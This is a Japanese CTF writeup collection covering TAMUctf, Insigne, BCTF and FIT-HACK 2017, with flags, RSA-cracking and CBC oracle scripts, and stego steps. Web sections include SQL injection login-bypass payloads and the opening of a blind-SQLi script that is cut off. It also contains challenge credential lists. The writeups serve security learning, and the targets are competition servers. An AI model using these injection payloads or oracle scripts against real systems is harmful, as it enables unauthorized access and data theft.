TAMUctf 2017 Writeup

この大会は2017/4/13 9:00(JST)~2017/4/24 14:00(JST)に開催されました。
今回もチームで参戦。結果は3455点で786チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

Howdy (Tutorial 5)

問題に書いてあるフラグを投入するだけ。

gigem{H0WDY!}

vinegar (crypto 50)

Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。

VIGENERESOUNDSALOTLIKEVINEGARWHICHGOESONSALADSSALADSAREHEALTHYFOODSBUTBURGERSAREBETTERITISASHAMETHATBURGERSARENOTHEALTHYFORYOUHEREISYOURFLAGSALADCDAF
SALADCDAF

Hashed md5 (crypto 50)

MD5が706dc2ee585fb5dcb18e3ac08da7ce0cになるものを答える。
Googleで調べるだけ。

it's

onion_duke (crypto 50)

1バイト右の文字はさらに1つずつシフトしていると考え、26パターン復号してみる。

import string

e = 'TSETJJBYDD'
upper = string.uppercase

for i in range(1, 26):
    p = ''
    for j in range(len(e)):
        index = (upper.index(e[j]) + i - j) % 26
        p += upper[index]
    print p

この結果は以下の通り。

USDRGFWSWV
VTESHGXTXW
WUFTIHYUYX
XVGUJIZVZY
YWHVKJAWAZ
ZXIWLKBXBA
AYJXMLCYCB
BZKYNMDZDC
CALZONEAED
DBMAPOFBFE
ECNBQPGCGF
FDOCRQHDHG
GEPDSRIEIH
HFQETSJFJI
IGRFUTKGKJ
JHSGVULHLK
KITHWVMIML
LJUIXWNJNM
MKVJYXOKON
NLWKZYPLPO
OMXLAZQMQP
PNYMBARNRQ
QOZNCBSOSR
RPAODCTPTS
SQBPEDUQUT

単語になっていそうな以下の文字列がフラグ。

CALZONEAED

hail caesar (crypto 50)

http://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
わかりにくいが、ROT1の以下の文字列がフラグだった。

DRESSNGFDC

dachshund (crypto 100)

RSA暗号。eが非常に大きいため、Wiener's attackで復号する。

from fractions import Fraction

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

with open('9b00a4b6f2ba73b4', 'r') as f:
    lines = f.readlines()

c = int(lines[0].strip().split(': ')[1].decode('base64').encode('hex'), 16)
e = int(lines[1].strip().split(': ')[1].decode('base64'))
n = int(lines[2].strip().split(': ')[1].decode('base64'))

p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag
gigem{h0Tdogs_2053124388faee1d}

lowered_expectations (crypto 100)

RSA暗号。nが非常に大きく、eが小さいのでe乗根を取れば復号できる。

import gmpy

with open('b449eea770bd6f3b', 'r') as f:
    lines = f.readlines()

c = int(lines[0].strip().split(': ')[1].decode('base64').encode('hex'), 16)
e = int(lines[1].strip().split(': ')[1].decode('base64'))
n = int(lines[2].strip().split(': ')[1].decode('base64'))

print ('%x' % gmpy.root(c, e)[0]).decode('hex')
gigem{get_L0W__101d935de22a247e}

commonplace (crypto 200)

RSA暗号。nが共通で、e,cのペアが複数あるので、Common Modules Attackで復号する。

import gmpy

def commom_modules_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
 
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

with open('e538338d7671181d', 'r') as f:
    lines = f.readlines()

c1 = int(lines[0].strip().split(': ')[1])
c2 = int(lines[2].strip().split(': ')[1])
e1 = int(lines[4].strip().split(': ')[1])
e2 = int(lines[6].strip().split(': ')[1])
n = int(lines[8].strip().split(': ')[1])
 
m = commom_modules_attack(c1, c2, e1, e2, n)
flag = ('%x' % m).decode('hex')
print flag
gigem{c0mm0nly_knOwn_AS__a8b575875b4594cf}

siamese (stego 50)

$ strings 083643f9a8f5e192
           :
083643f9a8f5e192.txtUT	
Z2lnZW17dGhlX2NhdF9nb2VzX21lb3dfMWE5MjU2MGVkOWYyMTFkOH0=PK
083643f9a8f5e192.txtUT
$ echo Z2lnZW17dGhlX2NhdF9nb2VzX21lb3dfMWE5MjU2MGVkOWYyMTFkOH0= | base64 -d
gigem{the_cat_goes_meow_1a92560ed9f211d8}
gigem{the_cat_goes_meow_1a92560ed9f211d8}

jpeg ocean (stego 100)

Stegsolveで開き、Red plane 0にフラグがある。
f:id:satou-y:20170504080715p:plain

gigem{water_w0rld_99bc48af5a15e348}

chunky (stego 100)

PNGマジックナンバーの前に以下の文字列が入っている。

Z2lnZW17dGhlX2ZsYWdfdGhhdF9lYXRzX2xpa2VfYV9tZWFsX2ViNWNjNGM5ZmQzNjJkZGN9
$ echo Z2lnZW17dGhlX2ZsYWdfdGhhdF9lYXRzX2xpa2VfYV9tZWFsX2ViNWNjNGM5ZmQzNjJkZGN9 | base64 -d
gigem{the_flag_that_eats_like_a_meal_eb5cc4c9fd362ddc}
gigem{the_flag_that_eats_like_a_meal_eb5cc4c9fd362ddc}

ghost busters (stego 100)

$ file d5d148ea132cf63d 
d5d148ea132cf63d: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

Sonic Visualiserでスペクトログラムを見る。
f:id:satou-y:20170504081250p:plain

gigem{now_you_see_me_ed34a1a931347170}

least important (stego 100)

$ file 12bc35c08727e99d 
12bc35c08727e99d: PC bitmap, Windows 3.x format, 2988 x 1573 x 24

StegsolveでData Extractを確認し、RGBの0ビットのところだけフィルタリングすると、先頭部分にフラグが入っている。

58:gigem{this_is_pretty_significant_success_83d4d343df042166}
gigem{this_is_pretty_significant_success_83d4d343df042166}

What to call me? (forensics 10)

$ ping ctf.tamu.edu
PING ctf.tamu.edu (52.33.57.247) 56(84) bytes of data.
      :
52.33.57.247

Who do I trust? (forensics 15)

証明書を確認する。

USERTrust RSA Certification Authority

Where am I... (forensics 50)

EXIF情報を見る。

GPS Latitude                    : 30 deg 36' 44.51" N
GPS Longitude                   : 96 deg 20' 29.34" W
GPS Position                    : 30 deg 36' 44.51" N, 96 deg 20' 29.34" W

Google Mapで調べる。

Memorial Student Center

Web Detective on the Scene (web 10)

HTMLソースにコメントが入っている。

<!-- Key = GigEm{TAMUctf_Web_a8ba90d7d8efeaf298cda418a2ab7073} -->
GigEm{TAMUctf_Web_a8ba90d7d8efeaf298cda418a2ab7073}

Web Detective Obtains Some Clues (web 15)

HTMLソース内のコメントに次のように書いてある。

<!-- This part is a header and doesn't offer you any flag -->
<!-- There is no key here!  Not even Google can help you now! -->

http://detective2.ctf.tamu.edu/robots.txtにアクセスすると、次のように書いてある。

User-agent: *
Disallow: /192492397fd616d47c5ff84b2d12d1df0da57d992f5fe95d/

http://detective2.ctf.tamu.edu/192492397fd616d47c5ff84b2d12d1df0da57d992f5fe95d/にアクセスすると、インデックスが見えて、user_file.txtがある。この中に次のように書いてあった。

#
#	TAMUctf web exploit challenges
#	Name:	user_file.txt
#	Course:	CSCE 491
#	Prof:	Dr. Daniel Ragsdale
#

#	Username : Password
Alice : TexasAggies2016!
Bob : BeatTheHell0utta_t.u.
Eve	: *H0meOfThe12thMan*
Key	: gigem{TAMUctf_Web_b304dc25b50afc611541e7ae1cb77ed2}
Sully : Br!gadierGenera1C$A
Rudder : GreaterL0veH@athNoM@n
gigem{TAMUctf_Web_b304dc25b50afc611541e7ae1cb77ed2}

SQL: The Injectioning (web 25)

Usernameに ' or 1=1 # と入れてログインすると、ログイン後のメッセージにフラグが入っている。
Huh. We really should gigem{S@niTIz3_Th0se_InpUTs}!

gigem{S@niTIz3_Th0se_InpUTs}

threads (reversing 100)

$ strings 229a70e76d99687e | grep gigem
gigem{stringy_lasagna_ec5a1e530491638f}
gigem{stringy_lasagna_ec5a1e530491638f}

Who am I? (recon 50)

Googleの画像検索を使う。

Brad Brekke, FBI

Insigne CTF Writeup

この大会は2017/4/22 4:00(JST)~2017/4/23 4:00(JST)に開催されました。
今回もチームで参戦。結果は115点で305チーム中22位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Welcome 5)

問題に記載の通り、フラグを投入。

flag{ctfftw}

PwnPeAuto (Web 10)

About Us をクリックすると以下のメッセージが表示される。

We make the best automated cars which can't be hacked. There's a flag at flag.txt ;) 

http://35.165.205.141:8002/flag.txtにアクセスしてみると、フラグを表示することができた。

flag{Stup1dJ@rv!G@veM3Aw@y}

BCTF 2017 Writeup

この大会は2017/4/15 11:00(JST)~2017/4/17 11:00(JST)に開催されました。
今回もチームで参戦。結果は1444点で303チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。

Hulk (Crypto)

CBCモードのブロック暗号の問題。処理の概要は以下の通り。

request1: 入力
・96バイト以下
・16進数文字

plaintext1 = 入力16進数を文字に変換+フラグ
ciphertext1 = plaintext1の暗号
plaintext1_str = 入力16進数+'|flag'
ciphertext1_str = plaintext1の暗号の16進数表記

request2: 入力
・96バイト以下
・16進数文字

plaintext2 = 入力16進数を文字に変換
ciphertext2 = plaintext2の暗号(iv: ciphertext1の末尾16バイト)
plaintext2_str = 入力16進数
ciphertext2_str = plaintext2の暗号の16進数表記

CBCモードなので、以下のようになる。

[平文1ブロック目] ^ IV                  --(暗号化)--> [暗号文1ブロック目]
[平文2ブロック目] ^ [暗号文1ブロック目] --(暗号化)--> [暗号文2ブロック目]
[平文3ブロック目] ^ [暗号文2ブロック目] --(暗号化)--> [暗号文3ブロック目]

3ブロック目に1バイトずつフラグの先頭が入るように暗号化する。
平文3ブロック目の最終バイトを総当たりで暗号化し、暗号文2ブロック目とIVとのXORを2回目の暗号化に使う。
この結果2回目の暗号文1ブロック目が1回目の暗号文3ブロック目と同じになるものをブルートフォースで探す。

#!/usr/bin/env python
import socket
import re

pattern = 'ciphertext: (.+)'

flag = ''
l_flag = len(flag)
while True:
    for code in range(36, 127):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('202.112.51.217', 9999))
        print 'try %s' % chr(code)
        print flag

        plain1 = '58' * (47 - l_flag)
        data = s.recv(1024)
        data += plain1
        s.sendall(plain1 + '\n')

        data = s.recv(1024)
        m = re.search(pattern, data)
        cipher1_str = m.group(1)
        iv = cipher1_str[2:].strip().decode('hex')[-16:]
        data = s.recv(1024)

        if l_flag < 16:
            try_str = ('58' * (15 - l_flag)).decode('hex') + flag + chr(code)
        else:
            try_str = flag[l_flag-15:l_flag] + chr(code)

        cipher1_2 = cipher1_str[2:].strip().decode('hex')[16:32]
        plain2 = ''
        for i in range(16):
            plain2 += chr(ord(try_str[i]) ^ ord(iv[i]) ^ ord(cipher1_2[i]))
        plain2 = plain2.encode('hex')
        data += plain2
        s.sendall(plain2 + '\n')

        data = s.recv(1024)
        m = re.search(pattern, data)
        cipher2_str = m.group(1)
        if cipher1_str[66:98] == cipher2_str[2:34]:
            flag += chr(code)
            l_flag += 1
            break
    if flag[-1:] == '}':
        break

print flag
bctf{3c1fffb76f147d420f984ac651505905}

FIT-HACK CTF 2017 Writeup

この大会は2017/4/8 13:00(JST)~2017/4/14 13:00(JST)に開催されました。
今回もチームで参戦。結果は4100点で514チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。

Repair (Forensic 50)

先頭を50 4B 03 04に変更し、ZIPを解凍する。
展開したPNGファイルにフラグが書かれている。
f:id:satou-y:20170424200425p:plain

FIT{r3p4ir_c0mpl3t3d_zip_d3_kur3}

Simple cipher (Crypto 100)

keyの長さを一つのブロックとして全ブロックの先頭から順番にXORしている。
次のスクリプトで復号する。

key = 'J2msBeG8'

with open('enc_mes.txt', 'r') as f:
    data = f.read()

LEN = len(data) / 2

mes = ''
for i in range(LEN / len(key)):
    for j in range(len(key)):
        index = j * (LEN / len(key)) + i
        code = int(data[index*2:index*2+2], 16)
        mes += chr(code ^ ord(key[j]))

print mes
FIT{Thi5_cryp74n4lysi5_wa5_very_5impl3}

It's_solvable (Crypto 100)

7つのRSA暗号化したデータを復号する。

$ cd 39BCC1930B969051426F5864F24B478CEAFBA7D8/
$ openssl rsa -pubin -in publicfit.pem -text -noout
Public-Key: (153 bit)
Modulus:
    01:87:ff:1f:e5:90:c8:97:83:44:d6:16:72:0c:c1:
    20:a0:ea:71:67
Exponent: 65537 (0x10001)

n = 0x0187ff1fe590c8978344d616720cc120a0ea7167
= 8741815859436417328701496607875318191936401767
= 62327402947945346311733 * 140256379152159036259499

$ rsatool.py -f PEM -o private1.pem -p 62327402947945346311733 -q 140256379152159036259499
Using (p, q) to initialise RSA instance

n =
187ff1fe590c8978344d616720cc120a0ea7167

e = 65537 (0x10001)

d =
1823e18f0bb135b6f2577444383f4f241cef379

p = 62327402947945346311733 (0xd32c679046c34d32635)

q = 140256379152159036259499 (0x1db35044c0be5eadbcab)

Saving PEM as private1.pem
$ openssl rsautl -decrypt -inkey private1.pem < mfit
vc7tJ

ほかの6つも同様。ディレクトリ名がそれぞれv1~v7のsha1の値になっており、v1~v7分をすべて復号したものを結合する(連結する文字が同じ部分は1個にする)と、フラグになる。

v1: FIT{
v2: __dOSA
v3: Ai85Z
v4: Zyapo
v5: ohvwv
v6: vc7tJ
v7: J1RuW}
FIT{__dOSAi85Zyapohvwvc7tJ1RuW}

encryption program leaked (Crypto 100)

encrypt関数の処理概要は以下の通り。

stringv = フラグをbase64暗号化
stringv と key 同じ長さになるように\x00でpadding
stringvの逆文字列とXORを取る。

これを踏まえ、スクリプトにする。

key = 'eglafdsewafslfewamfeopwamfe\x00'
encrypt = '5857342f555c2528182b55175e5f543a14540a0617394504380a0e52'

rev_b64 = ''
for i in range(0, len(encrypt), 2):
    rev_b64 += chr(int(encrypt[i:i+2], 16) ^ ord(key[i/2]))

print rev_b64[::-1].decode('base64')
FIT{b1r_n3_vwrh1_75}

bignumber (Crypto 150)

2つあるディレクトリに公開鍵と暗号データがある。

$ openssl rsa -pubin -in fer/public-key.pem -text -noout
Public-Key: (2047 bit)
Modulus:
    6c:a8:41:78:43:d5:a6:2d:d3:af:37:e0:92:68:bc:
    d6:d6:0e:50:7c:5e:07:42:7b:d8:8d:94:d8:c8:38:
    31:21:80:72:3d:2c:e9:db:0c:ab:53:3b:bd:5f:bb:
    08:de:60:01:68:bf:bc:e1:97:cc:6f:4a:da:e9:90:
    90:34:35:0b:3e:7b:eb:07:ec:07:86:57:8b:bd:4e:
    eb:1f:2f:b3:43:e1:4f:ff:4b:44:46:ba:3a:b3:5f:
    fe:0a:07:6b:9a:21:b7:3a:ab:3f:2b:2b:30:20:8d:
    3a:de:7a:c8:f4:02:7d:97:58:ae:f9:1e:bb:9d:a8:
    a5:7c:af:2a:c1:45:a6:75:8d:65:80:20:3c:97:dd:
    16:45:f3:d2:5f:6b:6a:f3:4a:e2:dd:51:ab:a6:a3:
    76:ae:28:c2:00:7c:46:00:af:26:54:21:de:28:9d:
    07:c4:e6:9a:44:5d:2a:99:aa:ef:72:bc:1c:08:29:
    8e:34:cd:49:5e:db:74:33:ec:02:49:54:35:b2:df:
    a2:3c:d4:eb:af:5c:f3:48:d2:aa:f1:45:12:f4:50:
    e9:0e:08:11:03:07:1b:07:bb:09:da:82:45:57:2f:
    30:b1:f4:55:c4:54:ce:4a:cd:68:8f:d5:99:60:54:
    9c:c0:ee:e1:bf:9f:7d:f8:23:2b:cb:01:e3:ff:a8:
    31
Exponent: 65537 (0x10001)
$ openssl rsa -pubin -in seru/public-key.pem -text -noout
Public-Key: (7470 bit)
Modulus:
    3f:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:df:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:fe:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:01
Exponent: 65537 (0x10001)

ferディレクトリにあるほうはFermat法で素因数分解できた。

n1はFermat方で素因数分解できた。
p = 117118345850371324755442721691010370746296466217613601391163655840990077599670230417096624741289813886405031113346503009135170495702881435092555492730582477110270806706808191842281165589328069923809725129015935929853235145002864445534915392828344509262317077113013662247163187898805965856003962565368895505223
q = 117118345850371324755442721691010370746296466217613601391163655840990077599670230417096624741289813886405031113346503009135170495702881435092555492730582477110270806706808191842281165589328069923809725129015935929853235145002864445534915392828344509262317077113013662247163187898805965856003962565368895505607

seruに方は2進数で1の連続の素数が要素にあると推察。次のようなコードで素因数分解できた。

n = 0x3fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001

bin_p = '1'
while True:
    bin_p += '1'
    p = int(bin_p, 2)
    if n % p == 0:
        break

q = n / p
print 'p =', str(p)
print 'q =', str(q)

結果は以下の通り。

p = 259117086013202627776246767922441530941818887553125427303974923161874019266586362086201209516800483406550695241733194177441689509238807017410377709597512042313066624082916353517952311186154862265604547691127595848775610568757931191017711408826252153849035830401185072116424747461823031471398340229288074545677907941037288235820705892351068433882986888616658650280927692080339605869308790500409503709875902119018371991620994002568935113136548829739112656797303241986517250116412703509705427773477972349821676443446668383119322540099648994051790241624056519054483690809616061625743042361721863339415852426431208737266591962061753535748892894599629195183082621860853400937932839420261866586142503251450773096274235376822938649407127700846077124211823080804139298087057504713825264571448379371125032081826126566649084251699453951887789613650248405739378594599444335231188280123660406262468609212150349937584782292237144339628858485938215738821232393687046160677362909315071
q = 190797007524439073807468042969529173669356994749940177394741882673528979787005053706368049835514900244303495954950709725762186311224148828811920216904542206960744666169364221195289538436845390250168663932838805192055137154390912666527533007309292687539092257043362517857366624699975402375462954490293259233303137330643531556539739921926201438606439020075174723029056838272505051571967594608350063404495977660656269020823960825567012344189908927956646011998057988548630107637380993519826582389781888135705408653045219655801758081251164080554609057468028203308718724654081055323215860189611391296030471108443146745671967766308925858547271507311563765171008318248647110097614890313562856541784154881743146033909602737947385055355960331855614540900081456378659068370317267696980001187750995491090350108417050917991562167972281070161305972518044872048331306383715094854938415738549894606070722584737978176686422134354526989443028353644037187375385397838259511833166416134323695660367676897722287918773420968982326089026150031515424165462111337527431154890666327374921446276833564519776797633875503548665093914556482031482248883127023777039667707976559857333357013727342079099064400455741830654320379350833236245819348824064783585692924881021978332974949906122664421376034687815350484991

ここからrsatool.pyで秘密鍵を生成する。

$ rsatool.py -f PEM -o fer/secret-key.pem -p 117118345850371324755442721691010370746296466217613601391163655840990077599670230417096624741289813886405031113346503009135170495702881435092555492730582477110270806706808191842281165589328069923809725129015935929853235145002864445534915392828344509262317077113013662247163187898805965856003962565368895505223 -q 117118345850371324755442721691010370746296466217613601391163655840990077599670230417096624741289813886405031113346503009135170495702881435092555492730582477110270806706808191842281165589328069923809725129015935929853235145002864445534915392828344509262317077113013662247163187898805965856003962565368895505607
                          :
$ rsatool.py -f PEM -o seru/secret-key.pem -p 259117086013202627776246767922441530941818887553125427303974923161874019266586362086201209516800483406550695241733194177441689509238807017410377709597512042313066624082916353517952311186154862265604547691127595848775610568757931191017711408826252153849035830401185072116424747461823031471398340229288074545677907941037288235820705892351068433882986888616658650280927692080339605869308790500409503709875902119018371991620994002568935113136548829739112656797303241986517250116412703509705427773477972349821676443446668383119322540099648994051790241624056519054483690809616061625743042361721863339415852426431208737266591962061753535748892894599629195183082621860853400937932839420261866586142503251450773096274235376822938649407127700846077124211823080804139298087057504713825264571448379371125032081826126566649084251699453951887789613650248405739378594599444335231188280123660406262468609212150349937584782292237144339628858485938215738821232393687046160677362909315071 -q 190797007524439073807468042969529173669356994749940177394741882673528979787005053706368049835514900244303495954950709725762186311224148828811920216904542206960744666169364221195289538436845390250168663932838805192055137154390912666527533007309292687539092257043362517857366624699975402375462954490293259233303137330643531556539739921926201438606439020075174723029056838272505051571967594608350063404495977660656269020823960825567012344189908927956646011998057988548630107637380993519826582389781888135705408653045219655801758081251164080554609057468028203308718724654081055323215860189611391296030471108443146745671967766308925858547271507311563765171008318248647110097614890313562856541784154881743146033909602737947385055355960331855614540900081456378659068370317267696980001187750995491090350108417050917991562167972281070161305972518044872048331306383715094854938415738549894606070722584737978176686422134354526989443028353644037187375385397838259511833166416134323695660367676897722287918773420968982326089026150031515424165462111337527431154890666327374921446276833564519776797633875503548665093914556482031482248883127023777039667707976559857333357013727342079099064400455741830654320379350833236245819348824064783585692924881021978332974949906122664421376034687815350484991
                          :

復号してみる。

$ openssl rsautl -decrypt -inkey fer/secret-key.pem < fer/message
5c070e581f1e4a152e040e274b724720445c31312e3e102b05067c5738200d07
$ openssl rsautl -decrypt -inkey seru/secret-key.pem < seru/message
65417439774c784d56415a44784b76423265775257736a7369374e326d4c6655

XORしたものはBase64文字列っぽいがそのままではデコードできない。結果は文字列を逆順にしたものをデコードすればよい。

e1 = '5c070e581f1e4a152e040e274b724720445c31312e3e102b05067c5738200d07'
e2 = '65417439774c784d56415a44784b76423265775257736a7369374e326d4c6655'

code = int(e1, 16) ^ int(e2, 16)
print ('%x' % code).decode('hex')[::-1].decode('base64')
FIT{me_32p_oo_wq11_dak1}

service encrypt (Crypto 200)

$ nc walked.problem.ctf.nw.fit.ac.jp 4000
a
5756453950513d3d
b
5757633950513d3d
c
5758633950513d3d
z
5a57633950513d3d
aa
5756453950513d3d5857463a51523e3e
aaa
5756453950513d3d5857463a51523e3e5958473b52533f3f

16進数表記16文字がブロック単位で以下で復号できそう。
HEXデコード→Base64デコード→Base64デコード
さらに1ブロック単位でシフトが増えていくことを考慮して復号する。

with open('info.txt', 'r') as f:
    data = f.read().strip()

count = 0
flag = ''
for i in range(0, len(data), 16):
    enc = data[i:i+16]
    b64 = ''
    for j in range(0, 16, 2):
        b64 += chr(int(enc[j:j+2], 16) - count)
    flag += b64.decode('base64').decode('base64')
    count += 1

print flag
FIT{uq_4e_fdswal_32p}

Get (Web 50)

No.179のパケットでBasic認証のID/PWを見る。
fithack:FIT{332dref3a5g7h}

FIT{332dref3a5g7h}

Look quickly (Web 50)

レスポンスヘッダのset-cookieに以下がセットされている。
flag=FIT%7BI7_i5_n07_4_c00ki3_t0_3a7%7D

FIT{I7_i5_n07_4_c00ki3_t0_3a7}

100 Count (Web 100)

Cookieのcountを99にして、正解するとフラグが表示された。

FIT{fsaewiwe}

Let's login (Web 150)

IDに "' or 1=1 --" と入れてみると、以下の表示。

Password is a flag

Table name: user

Column name: name, pass

ブラインドSQLインジェクションを試してみる。

import urllib
import urllib2
passwordlist = []

for i in range(1,50):
